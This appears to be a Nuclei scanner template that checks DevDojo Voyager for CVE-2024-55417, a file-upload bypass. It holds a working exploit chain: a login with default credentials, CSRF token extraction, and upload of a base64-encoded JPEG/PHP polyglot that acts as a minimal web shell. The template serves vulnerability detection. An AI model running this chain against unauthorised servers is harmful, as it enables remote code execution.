id: CVE-2024-55417 info: name: DevDojo Voyager <= 1.8.0 - Arbitrary File Write vulnerability author: iamnoooob,rootxharsh,pdresearch severity: high description: | DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server. impact: | Authenticated attackers can bypass file type restrictions to upload PHP web shells, allowing arbitrary code execution on the server with web server privileges. remediation: | Update DevDojo Voyager to version 1.8.1 or later to address the file upload validation bypass vulnerability. reference: - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/ - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerMediaController.php#L238 classification: cve-id: CVE-2024-55417 epss-score: 0.17764 epss-percentile: 0.95294 metadata: verified: true max-request: 5 shodan-query: title:"Voyager" tags: cve,cve2024,intrusive,devdojo,voyager,file-upload,authenticated,vuln flow: http(1) && http(2) && http(3) && http(4) && http(5) variables: username: "admin@admin.com" password: "password" http: - raw: - | GET /admin/login HTTP/1.1 Host: {{Hostname}} extractors: - type: regex part: body internal: true name: csrf group: 1 regex: - 'name="_token" value="([a-zA-Z0-9]+)"' - raw: - | POST /admin/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _token={{csrf}}&email={{username}}&password={{password}}& matchers: - type: dsl dsl: - "contains(body,'/admin')" - "status_code == 302" condition: and internal: true - raw: - | GET /admin/media HTTP/1.1 Host: {{Hostname}} extractors: - type: regex part: body internal: true name: csrf2 group: 1 regex: - '"csrf-token" content="([a-zA-Z0-9]+)"' - raw: - | POST /admin/media/upload HTTP/1.1 Host: {{Hostname}} Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqv6qtCsokj1vi0NA ------WebKitFormBoundaryqv6qtCsokj1vi0NA Content-Disposition: form-data; name="_token" {{csrf2}} ------WebKitFormBoundaryqv6qtCsokj1vi0NA Content-Disposition: form-data; name="upload_path" / ------WebKitFormBoundaryqv6qtCsokj1vi0NA Content-Disposition: form-data; name="filename" null ------WebKitFormBoundaryqv6qtCsokj1vi0NA Content-Disposition: form-data; name="details" {"thumbnails":[],"watermark":{}} ------WebKitFormBoundaryqv6qtCsokj1vi0NA Content-Disposition: form-data; name="file"; filename="{{randstr}}.php" Content-Type: text/php {{base64_decode('/9j//gApPD9waHAgZWNobyBiYXNlNjRfZGVjb2RlKCRfR0VUWyJxIl0pOz8+/9sAQwADAgICAgIDAgICAwMDAwQGBAQEBAQIBgYFBgkICgoJCAkJCgwPDAoLDgsJCQ0RDQ4PEBAREAoMEhMSEBMPEBAQ/8kACwgAAQABAQERAP/MAAYAEBAF/9oACAEBAAA/ANLPIP/Z')}} ------WebKitFormBoundaryqv6qtCsokj1vi0NA-- matchers: - type: word part: body words: - 'Encoding format (php) is not supported.' internal: true - raw: - | GET /storage/{{randstr}}.php?q={{base64('{{randstr}}')}} HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - "{{randstr}}" # digest: 490a004630440220772ef9fcb886436f35f3c09a05573645adbcd0d6cda7cfc26a034f7ca8b3a20a0220044aca5a6e0a8a0b15306c9b45a66c8f258629aa73138639ea99acb08d6f9a1c:922c64590222798bb761d5b6d8e72950